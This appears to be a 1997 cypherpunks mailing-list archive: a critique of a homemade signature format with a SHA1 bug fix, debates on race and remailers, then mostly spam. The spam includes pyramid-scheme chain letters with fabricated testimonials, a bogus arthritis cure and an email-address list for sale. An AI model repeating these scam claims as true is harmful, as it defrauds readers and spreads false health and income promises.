prevent this.  PGP's key fingerprints have had the same problem.

> The fourth line contains an offset and a length to specify the area of
> the text which is signed.  The offset is relative to the signature
> itself.  That is, the first character of the Cantsin Protocol No. 1
> code is at position 0.  As signatures are usually appended, the offset
> will usually be the additive inverse of the length.

It is intriguing that this can be used to sign a subset of the text.
Presumably there could be multiple signature blocks each of which signed
different subsets, possibly with different keys.  One problem is that it is
not obvious to the human reader what part of the text is signed.  A nice
effect with PGP and S/MIME signatures is that even readers who don't have
the tools can have some slight confidence in signatures, because other
readers will often report it when signatures don't verify.  With a
signature that only covers a portion of the text, people might assume that
if there are no reports of failure, more of the text is signed than is the
case.  This is not a technical problem but is a social phenomenon which may
not interact well with this signature format.

You need to specify a canonical line ending format.  Based on the count
values in your document, it appears that you are counting line terminators
as being one character long.  Your count value of 1CB9 corresponds to
decimal 7353, there are exactly 7353 characters from the first character
of your message body to the beginning of your signature magic number, if
line ends are one character.

The specific characters for line endings need to be specified as well
for the hash to be calculated consistently.  Your hash appears to be
calculated with LF as the line ending (although the hash program is
broken, see below).  Probably CR/LF would be preferable for the line
endings as that is a widely used internet standard as well as being
common on windows.

> You also need to be able to compute SHA1 hashes.  I've been using
> something called "sha1file" which, I believe, originated at Adam
> Back's web site.

That program has a bug.  The routine SHA1_update in the file sha1.c
is missing a line:

   while ( ctx->mlen == 64 )
   {
      convert_to_bigendian( (word32*)ctx->M, 64 );
      SHA1_transform( ctx );
      use = min( 64, data_len );
      memcpy( ctx->M, data, use );
      ctx->mlen = use;
      data_len -= use;
***   data += use;  ***  MISSING  ***
   }

Correcting this will make your hashes be correct.

> El Gamal is simple enough that the signature on this message can be
> checked using standard Unix tools such as dc version 1.1.  Let's say M
> is the SHA1 hash of the message.  It is checked by verifying the truth
> of this equation: (y^a * a^b) mod p = g^M mod p.

El Gamal is a rather lengthy signature, although the verification equation
is relatively simple.  DSS has a shorter signature.  If you report not
r,s, but rather r,w where w is the inverse of s mod q, then the
verification is: r = g^(M*w) * y^(r*w) mod p mod q.  It's not really
much more complicated.

There are some subtleties to choosing El Gamal keys, but with the 2048
bit values you have chosen you are pretty safe.  You want to make sure
that the generator g doesn't generate a small subgroup; to do this you
need to look at the factors of p-1.  Your p-1 has several small prime
factors: 0x2^3, 0x3, 0x6b, 0x16f, 0x1f79b, 0x3533a1eb3.  Beyond that
is a 1978 bit composite which I can't factor.  Chances are very high
that a random g will generate a group of size which is a multiple of a
large prime factor of this large composite value, so it is strong,
although not quite 2048 bits strong.

Also, you can't really justify using 2048 bit keys when your hash is
only 160 bits.  The hash becomes the weak link for keys beyond about
1024 bits, and unless you use a stronger hash your key strength is
misleading.  This is why DSS is only specified up to 1024 bits.

-- A hasher to be named later --





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 1 Dec 1997 06:28:30 +0800
To: cypherpunks@Algebra.COM
Subject: Updating the white bit
Message-ID: <199711302218.XAA06054@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>And the original comment above, that cypherpunk technologies will be
>a major force to eliminate racism is only part of the picture....the
>technologies also allow race to be considered as participants choose.

One benefit of making your living through a wire is that your end of
the wire can be anywhere you like.  So, if you want to be surrounded
exclusively by members of Group X, you are free to go live in some
commune populated exclusively with the members of that group and still
make a living.

To the extent that racism is caused by ignorance, the Net will tend to
reduce it.  But, is this claim really correct or is it simply a slur
against racists?  (The implication being that all U.S. racists live in
the South and that Southerners aren't that smart.)

I believe that many people are racists because they like to be that
way and that more knowledge about other racial groups isn't going to
change that.  Knowledge about someone is not synonymous with liking
them or forming a relationship with them.

The people who are working themselves up into a panic regarding "hate
speech" would appear to agree with me on this point.  What they fear
is that certain ideas will "spread".  That is, as certain people are
exposed to ideas and knowledge they did not have before, they will
become racist or more racist than they already are.  In other words,
there are groups of people who cannot be trusted to think for
themselves.

>Ironically, an equivalent example, but one which is deemed
>politically correct by many, is the example of "women-only" forums on
>the Net.

Oh, you mean the majority group?  The majority group will always
protect its own privileges.  Look how many men are in jail when
compared to women.  Clearly men are an oppressed group. ;-)

Seriously, people like to spend at least some of their time with
people who are a lot like themselves.  This is true of just about
every person on the planet.  A common theme in the United States at
this time is that it is wrong for white males to behave this way, but
it is not wrong for anybody else to behave this way.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

Subject: Updating the white bit
To: cypherpunks@algebra.com
16A5942B6EED349ECF4594C784DFD177 [Cantsin Protocol No. 1]
AF823675BFB992A1CD9CD2EEBC5CDAE4041E6F06
A7F5555FE7CC853AB405C5D8A60E33A0D99B08BE
-8FE 8FE
678E1792DC56F906871B1FF3B5148AE1E7F847BF20F2C5D515A30487C1CE1382D7F8EEE250F162CEFA08E09E6703F3355989C248A2B1331D7AE2AA991B7CFB046B711E0C24D8F9EEE2648B537D48B4A2ABB1205476B92B0D6F96E0C30B50360641602ADC0BF69B38B6042F1ECAEDA4ED9C6B3A801338799DA07DB326847511AFB2DCF6252EE09E8ED22F3833FFD1E3B22A5F7D707FA4FF84C10139E8EDC7624A28652F1537E9A4E5C0BBB4DAC77210DD54061A0E5CE4D20AE120DFEF023C9B2A30C17BC348D17EE5DE3051409735F688C417B3E52F243302C04A38EE81F8101FF9826BBE7063269EB1C807BACE781CBE3892BBF8F7E15C0F618FD624262DDE76
6A9728DD9550E345067032129D9EEED49BBB40D09CFC371EA3F4A93D97B1C30F5C1A6E7763DE2F93BC376272D63AE396ADF40F3DB9C9C670CFDC26DFCBBCC8489787A67BF154471ABF22AAB2EBF8EDBB79D83035740B83EC52B0B805491AC425014E15AEDCD152A90D85E07FC35A78B0F83EC42B5434C6FC1A1BCBBD0D29ECE7BF66AE0531486C50D7E4EAC801207854979E6C948072FEB0B8721D3EB10FE0DE10E8A4807273C17326DFCDAC486841D6C156DF39F95689A2892A67A3B6E8F35E09AE5D114C9A0E850DC4C00CA168891F3940F0CA1DD3E206C3054DDE802E62B32D5E22BC3632F818939EB8F2C76949788E3B2728C97D676884F6194DAD3ACFAC






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 1 Dec 1997 12:45:28 +0800
To: cypherpunks@Algebra.COM
Subject: Nuclear Physics Study Group
Message-ID: <8f07ca0537b17a179e2c7c496793b5f2@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green <shamrock@cypherpunks.to>:

> On a completely unrelated note, is there some interest in starting up a
> "Cypherpunks Nuclear Physics Study Group"? I recently finished reading
> "The Curve of Binding Energy". Fascinating book.

Is this really unrelated or does it represent growing ambition
by the cypherpunks shooting club ?  Will you be asking for anonymous
donations of SNM ?

I could be interested, but not in the manner of the above 2 sentences.

A Nym To Be Generated Later





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 1 Dec 1997 13:03:05 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Pasting in From:
In-Reply-To: <Pine.LNX.3.94.971130135656.6085F-100000@neptune.chem.uga.edu>
Message-ID: <35071a4de8a2c6f6cf77914c7747760d@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



nobody@REPLAY.COM (Anonymous) wrote:

> > From: Andy Dustman <andy@neptune.chem.uga.edu>
> > Newsgroups: alt.privacy.anon-server
> > Subject: Pasting in From:
> > Date: Sunday, November 30, 1997 8:03 PM
> 
> [ ... ]
>  
> > So, I propose a compromise: What if I enable pasting of From:, but if a
> > From: header is pasted in, a short disclaimer is added to the beginning
> of
> > the body of the message. Would that mess anyone up? I think this would be
> > sufficient to avoid most problems with "forging".
> 
> What are the advantages of pasting a From: above pasting a Reply-To: ?

For one thing, many newsreaders list messages by From:  and Subject:
line.  By putting in a distinctive From: line, your posts will be
identifiable without readers having to download and read each message
body.

By pasting in a From: header, an anonymous poster can thus make his
posts recognizeable.  Pasting in a Reply-To doesn't accomplish the
same thing.  In essence, pasting enables one to adopt a
non-replyable pseudonym.  Why burden the 'nym servers if the poster
doesn't want e-mail replies to his posts?

The alternative suggestion of posting from a replyable 'nym address
does not really address the issue.  If one wants to post with a
From: address of "santaclaus@northpole.gov", why should a remailer
make that any more difficult than doing it from a non-anonymous ISP?
(If "jolly ol' St. Nick" is worried about his e-mail address being
forged, he can always request source blocking.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: art.w@usa.net
Date: Sat, 1 Nov 1997 00:49:31 -0800 (PST)
To: art.w@usa.net
Subject: Artwork for Webmasters...
Message-ID: <199711011819HAA36164@post.tidalwave.net>
MIME-Version: 1.0
Content-Type: text/plain




Dear Webmaster,


Hi, my name is Peggy L. Emmel with Nikki's Web Creations. 
We would like to offer our artistic talents to enhance the presence 
of your Web Pages. We specialize in custom graphics for your entire 
site to include, logo's, image maps, buttons, backgrounds, and web 
advertisement banners. <b>Several of our banners have been featured on 
Lycos and National Television!</b> 


You can offer your clients that artistic, personal touch that makes their
site stand out in a crowd!  Adding this kind of value to your sites, 
will bring you <b>more profits...and more customers as well.</b>


 Visit  <A HREF="http://www.nikkiscreations.com/artwork.htm">Nikki's 
Custom Graphics</A> to review our artwork.  
<b>

For more information on our services, or any other design needs, please
hit reply and send us your name, daytime and evening phone numbers along
with the best time to call. One of our Design Consultants will contact 
you, and send any additional information you may need.
</b>


Sincerely,
Peggy L. Emmel
Senior Design Consultant
Nikki's Web Creations


------------------------------------------------------>


This message brought to you by :

          High Energy Advertising
          Internet Advertising Services
          http://www.high-energy.com
          advertise@high-energy.com
          800-955-6771

If you would like to have your business or service advertised via the
Internet give us a call !! We also offer Hosting Programs, Database, 
Website Promotion, Internet Marketing and Consultation.  
                               
Re-seller opportunities are available!


**********************************************************************
If you prefer not to be on our Webmaster mailing list simply hit reply 
and type remove.    You will be removed from any future mailings.
**********************************************************************
















From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: billy@bingo.edu (west)
Date: Sat, 1 Nov 1997 03:58:53 -0800 (PST)
To: billy@bingo.edu
Subject: money making opportunity
Message-ID: <199711011169RAA39602@post.usps.gov>
MIME-Version: 1.0
Content-Type: text/plain



<<Just what you needed, just when you needed it!>>

The main reason for this letter is to convince you that this system is honest, lawful, extremely profitable, and is a way to get a large amount of money in a short time. I was approached several times before I checked this out I joined just to see what one could expect in return for the minimal effort and money required. Initially I let no one in the organization know that I was an attorney and, to my astonishment, I received $36,470.00 in the first 14 weeks, with money still coming in.

Sincerely yours, 
Phillip A. Brown



"Please Read This Twice!"

Dear friend,



This is a "ONE-TIME MESSAGE" you were randomly selected to receive this. There is no need to reply to remove the message, you will receive no further mailings from us. If you have interest in this GREAT INFORMATION, please do not click reply, use the contact information in this message. Thank You! :-)



Print This Now For Future Reference

The following income opportunity is something you may be interested in taking a look at. It can be started with VERY LITTLE investment and the income return is TREMENDOUS!!



You are about to make at least $50,000 in less than 90 days! Please read the enclosed program.. THEN READ IT AGAIN!!!




This is a MONEY-MAKING PHENOMENON. PRINT this letter, read the program... THEN READ IT AGAIN!!!

You are looking at the most profitable and unique program you may ever see.  It has demonstrated ability to generate large sums of money.  This program is showing fantastic appeal with a huge and ever growing population which needs additional income.
	

This is a legitimate LEGAL moneymaking opportunity.  It does not require you to come in contact with people, do any hard work, and best of all, you never have to leave the house, except to get the mail.  If you believe that some day you will get that lucky break that you have been waiting for, this is it!  Simply follow the easy instructions, and your dream will come true! This electronic multi-level marketing program works perfectly every time.

Thousands of people have used this program to raise capital to start their own business, pay off debts, buy homes, cars, etc., even retire!  This is your chance, so don't pass it up.

OVERVIEW OF THIS EXTRAORDINARY ELECTRONIC
MULTI-LEVEL MARKETING PROGRAM

Basically, this is what we do:  We sell thousands of people a product for $5.00 that costs us next to nothing to produce and email. As with all multi-level businesses, we build our business by recruiting new partners and selling our products. Every state in the U.S. allows you to recruit new multi-level business on line (with your computer).

The product in this program is a series of four businesses and financial reports. Each $5.00 order you receive by "snail mail" will include the e-mail address of the sender. To fill each order, you simply e-mail the product to the buyer. THAT'S IT!...the $5.00 is yours! This is the GREATEST electronic multi-level marketing business anywhere!

FOLLOW THE INSTRUCTIONS EXACTLY!
Let's face it, the profits are worth it! THEY'RE TREMENDOUS!!!So go for it. Remember the 4 points and we'll see you at the top!


*****I N S T R U C T I 0 N S*****


This is what you MUST do

1. Order all 4 reports listed and numbered from the list below.  For each report send $5.00 CASH, YOUR E-MAIL ADDRESS and YOUR RETURN POSTAL ADDRESS (in case of a problem) to each person listed.  When you order, make sure you request each SPECIFIC report.  You will need all four reports, because you will be saving them on your computer and reselling them.

2. IMPORTANT-DO NOT alter the names, or their sequence other than instructed in this program! Or you will not profit the way you should.

 Replace the name and address under REPORT #1 with yours, moving the one that was there down to REPORT #2. Move the name and address under REPORT #2 to REPORT #3. Move the name and address under REPORT #3 to REPORT #4. The name and address that was under REPORT #4 is dropped off the list and is NO DOUBT on the way to the bank.

 When doing this, please make certain you copy everyone's name and address ACCURATELY!!!Also, DO NOT move the Report/Product positions!


3. Take this entire program text, including the corrected names list, and save it on your computer.

4. Now you're ready to start a massive advertising campaign on the WORLDWIDE WEB! Advertising on the WEB is very, very inexpensive, but there are HUNDREDS of FREE places to advertise also. Another avenue which you could use is e-mail mailing lists. You can buy    these lists for under $20/1,000 addresses. START YOUR  AD CAMPAIGN AS SOON AS YOU CAN.

ALWAYS PROVIDE SAME-DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME

ALWAYS SEND $5 CASH (Concealed) FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER. ALWAYS SEND FIRST CLASS OR PRIORITY MAIL AND PROVIDE YOUR E-MAIL ADDRESS FOR QUICK
DELIVERY.


REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:
TANYA Inc.
2057 Westchester Drive
Silver Spring, MD 20902

REPORT #2
"MAJOR CORPORATIONS AND MULTILEVEL SALES"

ORDER REPORT#2 FROM:
ATD
808 Patchway Lane
Austin, TX 78748

REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT#3 FROM:
LIFE LINE ESSENTIALS
1247 Westbridge Drive
Ventura, CA 93003

REPORT#4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT#4 FROM:
KLS Enterprises
5312 S.E. 30 Ave
Ocala, FL 34480-7524

HERE'S HOW THIS AMAZING PLAN WILL MAKE YOU $MONEY$

Let's say you decide to start small just to see how it goes. Assume your goal is to get 10 people to participate on your first level. (Placing a lot of FREE ads on the Internet could EASILY get a better response.) Also assume that everyone else in YOUR BUILDING ORGANIZATION gets ONLY 10 downline members. Follow this example for the STAGGERING results below.

1st level--your 10 members with $5 ($5 x 10)
2nd level--10 members from those $10 ($5 x 100)
3rd level--10 members from those $100 ($5 x 1,000)
4th level--10 members from those $1,000 ($5 x 10,000)
THIS TOTALS------------------------------------------------------------------>$55,550

Remember friends, this is assuming that the people who participate only recruit 10 people each. Dare to think for a moment what would happen if everyone got 20 people to participate! Some people get 100's of recruits...THINK ABOUT IT!

By the way, your cost to participate in this is practically nothing.  You obviously already have an Internet connection and e-mail is FREE...REPORT #3 will show you the best methods for bulk e-mailing and purchasing e-mail lists.

REMEMBER-Approx. 50,000 new people get online monthly!

ORDER YOUR REPORTS NOW!!!


*******TIPS FOR SUCCESS*******

TREAT THIS AS YOUR BUSINESS!  Send for the four reports IMMEDIATELY, so you will have them when the orders start coming in , because when you receive a $5 order, you MUST send out the requested product/report to comply with the U.S. Postal & Lottery Laws, Title 18, Sections 1302 and 1341 or Title 18, Section 3005 in the U.S. Code, also Code of Federal Regs. vol. 16, Sections 255 and 436, which state that "a product or service must be exchanged for money received."

* ALWAYS PROVIDE SAME-DAY SERVICE ON THE ORDERS YOU RECEIVE.

* Be patient and persistent with this program. If you follow the instructions exactly the results WILL undoubtedly be SUCCESS!

* ABOVE ALL, HAVE FAITH IN YOURSELF THAT YOU CAN SUCCEED!


*******YOUR SUCCESS GUIDELINE*******

The check point that guarantees your success is simply this-you MUST receive 10 to 20 orders for REPORT #1! THIS IS MUST! If you don't within two weeks, advertise more and send out more programs until you do. Then, a couple of weeks later you should receive at least 100 orders for REPORT#2. lf you don't, advertise more and send out more programs until you do.  Once you have received 100, or more orders for REPORT #2, YOU CAN RELAX because you will be on your way to the BANK! -OR- You can DOUBLE your effort
s!

REMEMBER: Every time your name is moved down on the list you are in front of a DlFFERENT report, so you can KEEP TRACK of your PROGRESS by what report people are ordering from you. IT'S THAT EASY!!!

NOTE: IF YOU NEED HELP with starting a business, registering a business name, how income tax is handled, etc., contact your local office of the Small Business Administration (a Federal agency) for free help and answers to questions. Also, the Internal Revenue Service offers free help via telephone and free seminars about business taxes.



*******T E S T I M 0 N I A L S***********

This program does work, but you must follow it EXACTLY! Especially the rule of not trying to place your name in a different position, it won't work, you'll lose a lot of money. I'm living proof that it works. It really is a great opportunity to make relatively easy money, with little cost to you. If you do choose to participate, follow the program exactly, and you'll be on your way to financial security. If you are a fellow Christian and are in financial trouble like I was, consider this a sign. I DID!
Good Luck & God Bless You, Sincerely, Chris Johnson

PS Do you have any idea what 11,700 $5 bills ($58,500) looks like piled up on the kitchen table?...ITS AWESOME

My name is Frank. My wife Doris and I live in Bel-Air, MD. I am a cost accountant with a major U.S. Corporation and I make pretty good money. When I received the program I grumbled to Doris about receiving "junk mail"! I made fun of the whole thing, spouting my knowledge of the population and percentages involved. I "knew" it wouldn't work. Doris totally ignored my supposed intelligence and jumped in with both feet. I made merciless fun of her, and was ready to lay the old "I told you so" on her when the t
hing didn't work...well, the laugh was on me!. Within two weeks she had received over 50 responses. Within 45 days she had received over $147,200 in $5 bills! I was stunned. I was sure that I had it all figured and that it wouldn't work...I AM a believer now. I have joined Doris in her "little" hobby. I did have seven more years until retirement, but I think of the "rat race" and it's not for me...We owe it all to MLM.
Frank T, Be-Air, MD

(just want to pass along my best wishes and encouragement to you.  Any doubts you have will vanish when your first orders come in. I even checked with the U.S. Post office to verify that the plan was legal.
It definitely is IT WORKS!!!
Paul Johnson, Raleigh, NC

This is the only realistic money-making offer I've ever received. I participated because this plan truly makes sense. I was surprised when the $5.00 bills started filling my mail box. By the time it tapered off I had mailed over 8,000 orders with over $40,000 in cash. Dozens of people have sent warm personal notes too, sharing the news of their good fortunes! It's been WONDERFUL.
Carl Winslow Tulsa, OK


This plan works like GANG-BUSTERS!! So far I have had 9,735 total orders OVER $48,000!!! I hope I have sparked your own excitement, if you follow the program exactly, you could have the same success I have, if not better
Your success is right around the comer, but you must do a little work. 
Good Luck! G. Bank

Not being the gambling type, it took me several weeks to make up my mind to participate in this plan. But conservative that I am I decided that the initial investment was so little that there was just no way that I wouldn't get enough orders to at least get my money back. Boy I was surprised when I found my medium-size post office box crammed with orders. After that it got so over-loaded that I had to start picking up my mail at the window. I'll make more money this year than any 10 years of my life before
. The nice thing about this deal is that it doesn't matter where in the U.S. the people live. There simply isn't a better investment with a faster return.
Mary Rockland, Lansing, Ml

I had received this program before. I deleted it, but later I wondered if I shouldn't have given it a try. Of course, I had no idea who to contact to get another copy, so I had to wait until I was e-mailed another program...11 months passed then it came... didn't delete this one!...I made $41,000 on the first try!!
D.Wilbum, Muncie, IN

This is my third time to participate in this plan. We have quit our jobs, and quite soon we will buy a home on the beach and live off the interest on our money. The only way on earth that this plan will work for you is if you do it. For your sake, and for your family's sake don't pass up this golden opportunity. Remember, when you order your four reports, SEND CASH. Checks have to clear the bank and create too many delays. Good luck and happy spending!
Charles Fairchild, Spokane, WA

Typically when I look at a money-making deal I want to know if the company is strong, will it be there when it's time for my big pay off. In this crazy thing there is no company intervention for management to blow it. Just people like me ordering directly from the source! Interesting...I had a couple of projects I'd been trying to fund to no avaiI so I thought; Why not give it a try? Well 2 1/2 weeks later the orders started coming in. One project is funded and I'm sure the other will be soon!
	


We could be printing YOUR testimonial next!!!

ORDER YOUR REPORTS TODAY AND GET
STARTED DOWN THE ROAD TO YOUR
FINANCIAL FREEDOM!!!

To get your new business started quickly contact a bulk emailer to mail out 100,000 letters at once. This will help get you off to a good start. Here are some good quality mailers, you can also look at report # 3 for good sources:
	
Smith International	        352-629-7695	FL
ALG Marketing	        704-617-6131	NC
























From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mirror@funmirror.com
Date: Sat, 1 Nov 1997 07:22:25 -0800 (PST)
To: FamilyLaughter@Xmas
Subject: Gift of Laughter this Holiday
Message-ID: <smiles@funmirror.com>
MIME-Version: 1.0
Content-Type: text/plain


This Christmas give your family the Gift of Laughter.  The fully adjustable Fun House
Mirror brings smiles to everyone.  Thousands of Bends, Millions of Laughs!  And,
under $30.   Visit   http://www.funmirror.com   

Best regards,






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: obwoods@arias.net
Date: Sat, 1 Nov 1997 12:46:34 -0800 (PST)
Subject: REQUESTING PERMISSION
Message-ID: <199711012344.PAA04551@mt.arias.net>
MIME-Version: 1.0
Content-Type: text/plain


                Let Your COMPUTER Pay Your Mortgage 
                  and Car Payments Every Month!

Greetings:

If you're looking for a way to earn additional income then 
I would like your permission to update you on a revolutionary 
software that can transform your computer into a  21st Century
computer-based business.

This is NOT an MLM or "chain-letter"-type software, but rather a
legitimate business you can run -- either on or off the Internet.

If you're interested in learning more about this incredible software
and would like me to send you some "FREE" information please hit
reply and type in "send info."  I'll send it a.s.a.p.

Thanks for your time and have a great day!

Roger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Selective.Marketing@dthead.dwt.daewoo.co.kr
Date: Sun, 2 Nov 1997 01:21:45 -0800 (PST)
To: selmark@usa.net
Subject: Here It Is !!
Message-ID: < 199.232.240.13>
MIME-Version: 1.0
Content-Type: text/plain


We are giving away over $700.00 in promotional software that can increase your business

by over 150%.  How would you like to send your ad to thousands of people that have  

 an interest in your product or service?  Just imagine the results.  We are giving away

the software to do just that.  With this limited time offer you can receive an email extraction

program that will extract targeted addresses for you to send your advertisement to.  You will

also receive an email program for sending your advertisement.  This software is yours free

when you purchase our CD Rom with over 37 million email addresses on it.  This CD Rom

is ready to use with your email program. If you can click a mouse, you can boost your sales

by 150% or more overnight.  

This offer is for a limited time.  As an added bonus, we will submit your web site to over 250

search engines for free when you place your order.

All orders are taken by phone, so hurry and call (904) 908-5444  




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: BeaCampb@aol.com
Date: Sat, 1 Nov 1997 16:44:29 -0800 (PST)
To: BeaCampb@aol.com
Subject: The Fountain of Youth....
Message-ID: <199711013443UAA24202@post.epcc.edu>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
<HTML><PRE><BODY BGCOLOR="#ff0000"></P><P ALIGN=CENTER><FONT  COLOR="#000000" BACK="#ff0000" SIZE=5><B>FOUNTAIN OF YOUTH DISCOVERED?
<FONT  COLOR="#000000" SIZE=4>MAYBE NOT
<FONT  COLOR="#000000" SIZE=5>BUT THE RESULTS ARE SAYING
YES!

<FONT  COLOR="#000000" SIZE=4></B><I>ELIMINATE ARTHRITIES PAIN FOREVER!
<B></I>100% GARUNTEED
</B>Does not treat the symptoms of Arthritis.  It corrects the cause of it
<B>It'll change the way you live!

</P><P ALIGN=JUSTIFY></B>Two ways to make money marketing this product:

Explosive growth and momentum.  500% growth in July, 500% in August, 700% in Septempter.
</P><P ALIGN=CENTER>
<FONT  COLOR="#000000" SIZE=5>Ignoring this could cause you to live in physical & financial pain for the rest of your life.  It's your decision.<FONT  COLOR="#000000" SIZE=4><B>
CALL NOW!
(918)534-0450

or
E-Mail: EConnor@fullnet.net<FONT  COLOR="#000000" SIZE=3></B>
</P><P ALIGN=LEFT>
</PRE></HTML>

</FONT><FONT  COLOR="#000000" SIZ




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pafeze55@mandex.com
Date: Sat, 1 Nov 1997 17:21:22 -0800 (PST)
To: pafeze55@mandex.com
Subject: XXX Live Sex!!!
Message-ID: <199711013008XAA53989@post.scseng.com>
MIME-Version: 1.0
Content-Type: text/plain


The PINK PUSSY CLUB is the HOTTEST site for XXX Live Girl SEX SHOWS!!!

We've got it all !!!  It's always FREE!!!  

* A Massive Selection of XXX LIVE GIRLS!!!!
* FREE Porn Star  Pics!!!
 *REAL LIVE SEX !!!
* FREE Erotic Stories!!!
* Personals & Dating Services
* Adult Toys & Clothing
* Men's Pics, Gay, Lesbian & Bi-Sexuals
* Adult Videos, CD-ROMS and much, much more!!!

We update daily to bring you the hottest and newest XXX SEX ! Submit your adult link for FREE!

http://www.pinkpussyclub.com

AOL Click Here

You must be 21 to use our service.

If you take offense to this email & wish to be taken off our list simply email us at:
pussycat@pinkpussyclub.com

We apologize for any inconvience.
5"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: s67e3tG8D@actrix.gen.nz
Date: Sat, 1 Nov 1997 20:40:37 -0800 (PST)
To: taxes@gone
Subject: Reduce your taxes
Message-ID: <S2zB3W7pnuy>
MIME-Version: 1.0
Content-Type: text/plain


You were recommended for the following information.  If it is of no
interest to you,  there is no need to respond as you are not on a
mailing list with us, also if this doesn't interest you 
Please Hit Your Delete Button,  my apology. 

Now for the first time ever, you have the opportunity to join the most
extraordinary and most powerful wealth building program in the world!
This program has never been offered to the general public until now! 
Because of your desire to succeed, you have been given the opportunity
to take a close look at this program.

If you're skeptical, that's okay. Just make the call and see for
yourself.  My job is to inform you, your job is to make your own
decision.
If You Didn't Make $200,000.00 Last Year...

You  Owe  It  To  Yourself  And  Your  Family  To  Give  Our  Program
Serious Consideration!

Also, when you start making this kind of money within weeks, after
joining our team, you will actually learn how you can legally reduce 
your taxes up to 95%, and how to strategically invest your finances.

I invite you to call for more details TOLL FREE  1-888-289-9705
call right now! This is a 2 min introduction.
If you want more information, Leave a message and we will get back to you.
Like I said, only if your serious.

Inviting you to see what we really have,

Cory.

This Is Not Multi Level Marketing/Serious Inquiries Only Please.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 00291856@unesesames.com
Date: Sun, 2 Nov 1997 14:18:57 -0800 (PST)
To: Friend@public.com
Subject: **We will Pay You to use Your Computer at Home to Set-up New Accts.
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



	***** Please Note:  This is NOT a business opportunity. *****

Dear Online Neighbor:

Please read carefully because we are very serious and this offer is 
Very Real.  

	WE WILL PAY YOU TO USE YOUR COMPUTER AT HOME!

If you are seriously interested in making $200.00 to $300.00 per day 
at home answering the phone and processing new accounts for us on 
your computer, then please call us immediately.

Our Number is:  

			1-918-461-8589 *

*Please Note: We Will Reimburse you for the call when you Receive
              Your First Check from us.

We are a Telecommunications Company with the Best Offer of All Time - 
800 Number Service with No Per Minute charges.  AT&T, Sprint, and 
MCI charge between 12 cents and 26 cents per minute.  We charge Zero 
cents per minute.  Our service is offered to each customer at a Low 
Flat Rate per month.  Our customers will no longer have to worry 
about a $200.00, $400.00, $500.00, or more phone bill for 800 number 
service.  Our Low Flat-Rate 800 Number Service is truly the best 
offer available today.

With our Great Service and Product Pricing, we are Extremely Busy.  
We need more Telecommunications Representatives to help us with the 
volume of calls that we receive each day.

By Simply Answering your phone and using your Computer to Set-Up 
New Accounts, you should easily Make $200.00 to $300.00 per day or 
$1,000.00 to $1,500.00 Per Week.

Please call us if you are serious and ready to join a Professional 
Team.

Once again, Our Number is:

			1-918-461-8589 *

*Please Keep in mind that We Will Reimburse You for the call on Your
 First Pay Day!

We will be more than happy to answer any further questions that you may have.
Thank you very much for reading our letter and we hope that you will decide to
become a part of our Winning Team.

**** P.S. PLEASE do not hit "Reply" and send us e-mail as we will NOT get it. ****

It is NOT necessary to send us an e-mail asking to be "removed" from our list as we will
assume that you are not interested if you do not respond to this letter.  We will respect
your wishes by not sending you any further letters in the future.  Best Regards.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Opportunity@cyber-pages.net
Date: Sun, 2 Nov 1997 11:49:05 -0800 (PST)
To: InternetUser@The.Net
Subject: Are you getting loads of $5 orders in your mailbox everyday?  I am!!
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain


I Never Thought I'd Be the One Telling You This:
 I Actually Read a Piece of E-Mail & I'm Going to Europe on the
Proceeds!

 Hello!

 My name is Karen Liddell; I'm a 35-year-old mom, wife, and part-time
accountant.  As a rule, I delete all unsolicited "junk" e-mail and use
my
account primarily for business.  I received what I assumed was this same
e-mail countless times and deleted it each time.

 About two months ago I received it again and, because of the catchy
subject
line,  I finally read it.  Afterwards, I thought , "OK, I give in, I'm
going
to try this.  I can certainly afford to invest $20 and, on the other
hand,
there's nothing wrong with creating a little excess cash."  I promptly
mailed
four $5 bills and, after receiving the reports, paid a friend of mine a
small
fee to send out some e-mail advertisements for me.  After reading the
reports, I also learned how easy it is to bulk e-mail for free! 

 I was not prepared for the results.  Everyday for the last six weeks,
my
P.O. box has been overflowing with $5 bills; many days the excess fills
up an
extra mail bin and I've had to upgrade to the corporate-size box!  I am
stunne
d by all the money that keeps rolling in!

 My husband and I have been saving for several years to make a
substantial
downpayment on a house.  Now, not only are we purchasing a house with
40%
down, we're going to Venice, Italy to celebrate!

 I promise you, if you follow the directions in this e-mail and be
prepared
to eventually set aside about an hour each day to follow up (and count
your
money!), you will make at least as much money as we did.  You don't need
to
be a wiz at the computer, but I'll bet you already are.   If you can
open an
envelope, remove the money, and send an e-mail message, then you're on
your
